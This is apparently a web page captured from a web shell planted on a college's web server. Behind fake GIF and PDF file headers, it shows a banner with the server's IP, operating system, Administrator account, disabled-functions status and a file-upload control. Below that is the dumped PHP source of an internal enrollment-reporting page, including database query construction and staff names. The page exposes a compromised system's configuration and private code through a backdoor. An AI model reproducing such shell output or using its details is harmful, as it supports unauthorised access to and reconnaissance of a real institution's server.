GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Enrollment/CurrentEnrollment/ |
Upload File : |
<? // Admin/Enrollment/CurrentEnrollment/CurrentEnrollmentCalculate.phpinc debugTrackBegin(); #d_On(); // If $GroupByInstructor if ( $GroupByInstructor ) { // Create $COU_ID_List. $COU_ID_List = substr(str_replace(',',"', '",','.query_to_list($pclassResult,'COU_ID').','),3); $COU_ID_List = substr($COU_ID_List,0,-3); d_Var('$COU_ID_List',$COU_ID_List); // Get unique instructor names for these classes. $query = " SELECT DISTINCT INSTRUCTOR FROM `pclassmeeting` WHERE YRTR = '".query_safe($_SESSION['YRTR']['User'])."' AND COU_ID IN ( ".$COU_ID_List." ) AND INSTRUCTOR NOT LIKE '%Staff' ORDER BY INSTRUCTOR "; d_Var('pclassmeetingInstructorResult',$query,'q'); $pclassmeetingInstructorResult = query_do($query); $pclassmeetingInstructorCount = $_SESSION['qry']['count']; d_Var('$pclassmeetingInstructorResult',$pclassmeetingInstructorResult); // Create $InstructorNameList. $InstructorNameList = substr(str_replace(',',"', '",','.query_to_list($pclassmeetingInstructorResult).','),3); $InstructorNameList = substr($InstructorNameList,0,-3); d_Var('$InstructorNameList',$InstructorNameList); // Get all classes for these instructors. $query = " SELECT DISTINCT COU_ID FROM `pclassmeeting` WHERE YRTR = '".query_safe($_SESSION['YRTR']['User'])."' AND ( COU_ID IN ( ".$COU_ID_List." ) OR INSTRUCTOR IN ( ".$InstructorNameList." ) ) ORDER BY COU_ID "; d_Var('pclassmeetingClassResult',$query,'q'); $pclassmeetingClassResult = query_do($query); $pclassmeetingClassCount = $_SESSION['qry']['count']; d_Var('$pclassmeetingClassResult',$pclassmeetingClassResult); // Create $COU_ID_List. $COU_ID_List = substr(str_replace(',',"', '",','.query_to_list($pclassmeetingClassResult).','),3); $COU_ID_List = substr($COU_ID_List,0,-3); d_Var('$COU_ID_List',$COU_ID_List); // Get all classes from selected instructors. $query = " SELECT YRTR, COU_ID, SUBJ, NBR, SECT, TITLE, CRHR, CRMAX, INSTR_TYPE, ENR, EMAX, GRADE_METH, COU_START, COU_END, campus, IsDropped FROM `pclass` WHERE YRTR = '".query_safe($_SESSION['YRTR']['User'])."' AND COU_ID IN ( ".$COU_ID_List." ) AND IsDropped = 0 ORDER BY SUBJ, NBR, SECT "; d_Var('pclassResult',$query,'q'); $pclassResult = query_do($query); $pclassCount = $_SESSION['qry']['count']; d_Var('$pclassResult',$pclassResult); } d_Var('$DeptFilter',$DeptFilter); d_Var('$GroupByInstructor',$GroupByInstructor); d_Var('$LinkSections',$LinkSections); d_Var('$LinkCSTMMDT',$LinkCSTMMDT); d_Var('$pclassResult',$pclassResult,''); // Create and populate $ClassEnrollment array. $ClassEnrollment = array(); $CSTMMDT = array(); $previousSUBJ = ''; $previousNBR = ''; $previousSECT = 0; mysqli_data_seek($pclassResult, 0); while ($pclassRow = mysqli_fetch_assoc($pclassResult)) { $index = $pclassRow['SUBJ'].$pclassRow['NBR'].'-'.$pclassRow['SECT']; if ( $LinkCSTMMDT && ( $pclassRow['SUBJ'] == 'CST' || $pclassRow['SUBJ'] =='MMDT' ) ) $indexCSTMMDT = $pclassRow['NBR'].'-'.$pclassRow['SECT']; $combined = false; #d_Var('$LinkSections',$LinkSections); #d_Var("\$pclassRow['SUBJ']",$pclassRow['SUBJ']); #d_Var('$previousSUBJ',$previousSUBJ); #d_Var("\$pclassRow['NBR']",$pclassRow['NBR']); #d_Var('$previousNBR',$previousNBR); #d_Var("\$pclassRow['SECT']",$pclassRow['SECT']); #d_Var('$previousSECT',$previousSECT); #d_Var("((int)\$pclassRow['SECT'] == (\$previousSECT + 20))",((int)$pclassRow['SECT'] == ($previousSECT + 20))); #d_Var("((int)\$pclassRow['SECT'] == (\$previousSECT - 20))",((int)$pclassRow['SECT'] == ($previousSECT - 20))); if ( $LinkSections && $pclassRow['SUBJ'] == $previousSUBJ && $pclassRow['NBR'] == $previousNBR && ( (int)$pclassRow['SECT'] == ($previousSECT + 20) //|| (int)$pclassRow['SECT'] > 150 ) ) { $index = $pclassRow['SUBJ'].$pclassRow['NBR'].'-'.twoDigit($previousSECT); if ( $LinkCSTMMDT && ( $pclassRow['SUBJ'] == 'CST' || $pclassRow['SUBJ'] =='MMDT' ) ) $indexCSTMMDT = $pclassRow['NBR'].'-'.twoDigit($previousSECT); $combined = true; } if ( $LinkCSTMMDT && ( $pclassRow['SUBJ'] == 'CST' || $pclassRow['SUBJ'] =='MMDT' ) ) { if ( stripos($pclassRow['TITLE'],'Internship') === false && $pclassRow['NBR'] != '2950' ) { if ( !isset($CSTMMDT[$indexCSTMMDT]) ) $CSTMMDT[$indexCSTMMDT] = array(); if ( !in_array($index,$CSTMMDT[$indexCSTMMDT]) ) $CSTMMDT[$indexCSTMMDT][] = $index; } } if ( !isset($ClassEnrollment[$index]) ) { $ClassEnrollment[$index] = array(); $ClassEnrollment[$index]['COU_ID'] = "'".$pclassRow['COU_ID']."'"; $ClassEnrollment[$index]['SUBJ'] = $pclassRow['SUBJ']; $ClassEnrollment[$index]['NBR'] = $pclassRow['NBR']; $ClassEnrollment[$index]['SECT'] = (int)$pclassRow['SECT']; $ClassEnrollment[$index]['TITLE'] = $pclassRow['TITLE']; $ClassEnrollment[$index]['CRHR'] = (int)$pclassRow['CRHR']; $ClassEnrollment[$index]['ENR'] = (int)$pclassRow['ENR']; $ClassEnrollment[$index]['EMAX'] = (int)$pclassRow['EMAX']; } else { if ( $combined ) { $ClassEnrollment[$index]['SECT'] .= ','.(int)$pclassRow['SECT']; $ClassEnrollment[$index]['COU_ID'] .= ','."'".$pclassRow['COU_ID']."'"; } $ClassEnrollment[$index]['ENR'] += (int)$pclassRow['ENR']; $ClassEnrollment[$index]['EMAX'] = max($ClassEnrollment[$index]['EMAX'],(int)$pclassRow['EMAX']); } $previousSUBJ = $pclassRow['SUBJ']; $previousNBR = $pclassRow['NBR']; $previousSECT = (int)$pclassRow['SECT']; } // Link CST and MMDT classes. if ( $LinkCSTMMDT ) { // Remove single classes. foreach ( $CSTMMDT as $indexCSTMMDT => $classes ) { if ( count($classes) == 1 ) unset($CSTMMDT[$indexCSTMMDT]); } d_Var('$CSTMMDT',$CSTMMDT,'k'); // Merge CST and MMDT classes. foreach ( $CSTMMDT as $indexCSTMMDT => $classes ) { $index = 'CSTMMDT'.$indexCSTMMDT; $ClassEnrollment[$index] = array(); $ClassEnrollment[$index]['SUBJ'] = 'CST/MMDT'; foreach ( $classes as $indexClass ) { if ( !isset($ClassEnrollment[$index]['COU_ID']) ) { $ClassEnrollment[$index]['COU_ID'] = $ClassEnrollment[$indexClass]['COU_ID']; } else { $ClassEnrollment[$index]['COU_ID'] .= ','.$ClassEnrollment[$indexClass]['COU_ID']; } $ClassEnrollment[$index]['NBR'] = $ClassEnrollment[$indexClass]['NBR']; $ClassEnrollment[$index]['SECT'] = $ClassEnrollment[$indexClass]['SECT']; $ClassEnrollment[$index]['TITLE'] = $ClassEnrollment[$indexClass]['TITLE']; $ClassEnrollment[$index]['CRHR'] = $ClassEnrollment[$indexClass]['CRHR']; if ( !isset($ClassEnrollment[$index]['ENR']) ) { $ClassEnrollment[$index]['ENR'] = $ClassEnrollment[$indexClass]['ENR']; } else { $ClassEnrollment[$index]['ENR'] += $ClassEnrollment[$indexClass]['ENR']; } $ClassEnrollment[$index]['EMAX'] = $ClassEnrollment[$indexClass]['EMAX']; unset($ClassEnrollment[$indexClass]); } } } // Add Instrctors to $ClassEnrollment array. foreach ( $ClassEnrollment as $index => $class ) { // Get unique instructor names for these classes. $query = " SELECT DISTINCT INSTRUCTOR FROM `pclassmeeting` WHERE YRTR = '".query_safe($_SESSION['YRTR']['User'])."' AND COU_ID IN ( ".$ClassEnrollment[$index]['COU_ID']." ) ORDER BY INSTRUCTOR "; d_Var('pclassmeetingInstructorResult',$query,'q'); $pclassmeetingInstructorResult = query_do($query); $pclassmeetingInstructorCount = $_SESSION['qry']['count']; d_Var('$pclassmeetingInstructorResult',$pclassmeetingInstructorResult); $ClassEnrollment[$index]['INSTRUCTORS'] = ''; #if ( $pclassmeetingInstructorCount ) { mysqli_data_seek($pclassmeetingInstructorResult, 0); while ($pclassmeetingInstructorRow = mysqli_fetch_assoc($pclassmeetingInstructorResult)) { $Instructor = str_replace(array('James Martinson','Mark Hyberger','N Staff'),array('Jim Martinson','Rocky Hyberger','Staff'),$pclassmeetingInstructorRow['INSTRUCTOR']); if ( stripos($ClassEnrollment[$index]['INSTRUCTORS'],$Instructor) === false ) $ClassEnrollment[$index]['INSTRUCTORS'] = listAppend($ClassEnrollment[$index]['INSTRUCTORS'],$Instructor); } $ClassEnrollment[$index]['INSTRUCTORS'] = listAnd(listSort($ClassEnrollment[$index]['INSTRUCTORS'])); #} else { #$ClassEnrollment[$index]['INSTRUCTORS'] = 'UNKNOWN'; #} } // Setup to display current enrollment. $InternshipSpecialProjectsTopics = false; $CreditTotal = 0; $EnrollmentTotal = 0; if ( $GroupByInstructor ) { // Setup for Instructor totals. $InstructorTotals = array(); $InstructorTotals['CRHR'] = 0; $InstructorTotals['ENR'] = 0; $InstructorTotals['InternshipSpecialProjectsTopics'] = false; $PreviousInstructor = ''; // Add INSTRUCTORS to index and resort. foreach ( $ClassEnrollment as $index => $class ) { $newIndex = $class['INSTRUCTORS'].'|'.$index; $ClassEnrollment[$newIndex] = $ClassEnrollment[$index]; unset($ClassEnrollment[$index]); } } ksort($ClassEnrollment); d_Var('$ClassEnrollment',$ClassEnrollment,'k'); // Display current enrollment. ?> <table> <tr><th class="center">Cr</th><th colspan="2">Class</th><th>Enr</th><th>Max</th><th>Opn</th><th>Instructor</th></tr> <? foreach ( $ClassEnrollment as $class ) { // Special for CST1802 and CST2802. if ( $class['SUBJ'] == 'CST' && ( $class['NBR'] == '1802' || $class['NBR'] == '2802' ) ) $class['CRHR'] = $class['CRHR']/2; if ( stripos($class['TITLE'],'Internship') === false && $class['NBR'] != '2950' ) { $CreditTotal += $class['CRHR']; if ( $GroupByInstructor ) { if ( $PreviousInstructor != '' && $PreviousInstructor != $class['INSTRUCTORS'] ) { ?> <tr><td class="bold right"><?=cr_format($InstructorTotals['CRHR'])?></td><th colspan="2" class="center"><?=$PreviousInstructor?> Totals</th><td class="bold"><?=$InstructorTotals['ENR']?></td><td colspan="3"></td></tr> <? if ( $InstructorTotals['InternshipSpecialProjectsTopics'] ) { ?> <tr><td class="center">↑</td><td colspan="6">Total credits does not include Internship or Special Projects/Topics classes.</td></tr> <? } ?> <tr><td colspan="7"></td></tr> <tr><th class="center">Cr</th><th colspan="2">Class</th><th>Enr</th><th>Max</th><th>Opn</th><th>Instructor</th></tr> <? $PreviousInstructor = ''; } if ( $PreviousInstructor == '' ) { $PreviousInstructor = $class['INSTRUCTORS']; $InstructorTotals['CRHR'] = 0; $InstructorTotals['ENR'] = 0; $InstructorTotals['InternshipSpecialProjectsTopics'] = false; } } if ( $GroupByInstructor ) $InstructorTotals['CRHR'] += $class['CRHR']; } else { $class['CRHR'] = '<span class="silver">?</span>'; $InternshipSpecialProjectsTopics = true; if ( $GroupByInstructor ) $InstructorTotals['InternshipSpecialProjectsTopics'] = true; } $EnrollmentTotal += (int)$class['ENR']; if ( $GroupByInstructor ) $InstructorTotals['ENR'] += (int)$class['ENR']; $openSeats = $class['EMAX'] - $class['ENR']; if ( $openSeats > 2 ) { $tdClass = ' gray'; $ENRClass = ''; } else { if ( $openSeats > 0 ) { $tdClass = ' info bold'; } else { if ( $openSeats == 0 ) { $tdClass = ' warning bold'; } else { $tdClass = ' error bold'; $openSeats = '+'.(-$openSeats); } } $ENRClass = $tdClass; } ?> <tr><td class="right"><?=cr_format($class['CRHR'])?></td><td><?=$class['SUBJ']?><?=$class['NBR']?>-<?=$class['SECT']?></td><td><?=$class['TITLE']?></td><td class="right <?=$ENRClass?>"><?=$class['ENR']?></td><td class="right silver"><?=$class['EMAX']?></td><td class="right<?=$tdClass?>"><?=$openSeats?></td><td><?=$class['INSTRUCTORS']?></td></tr> <? } if ( $GroupByInstructor ) { ?> <tr><td class="bold right"><?=cr_format($InstructorTotals['CRHR'])?></td><th colspan="2" class="center"><?=$PreviousInstructor?> Totals</th><td class="bold"><?=$InstructorTotals['ENR']?></td><td colspan="3"></td></tr> <? if ( $InstructorTotals['InternshipSpecialProjectsTopics'] ) { ?> <tr><td class="center">↑</td><td colspan="6">Total credits does not include Internship or Special Projects/Topics classes.</td></tr> <? } } ?> <tr><th class="center">Cr</th><th colspan="2" class="center"><? if ( !$GroupByInstructor ) { ?>Totals<? } else { ?>Total of all Instructors<? } ?></th><th>Enr</th><td colspan="3"></td></tr> <tr><td class="bold right"><?=cr_format($CreditTotal)?></td><td colspan="2"></td><td class="bold"><?=$EnrollmentTotal?></td><td colspan="3"></td></tr> <? if ( $InternshipSpecialProjectsTopics ) { ?> <tr><td class="center">↑</td><td colspan="6">Total credits does not include Internship or Special Projects/Topics classes.</td></tr> <? } ?> </table> <? function cr_format($number) { if ( stripos($number,'?') === false ) { $number = number_format($number,1); if ( substr($number,0,1) == '0' ) $number = substr($number,1); if ( substr($number,-2) == '.0' ) $number = substr($number,0,-2).' '; } else { $number .= ' '; } return $number; } debugTrackEnd(); ?>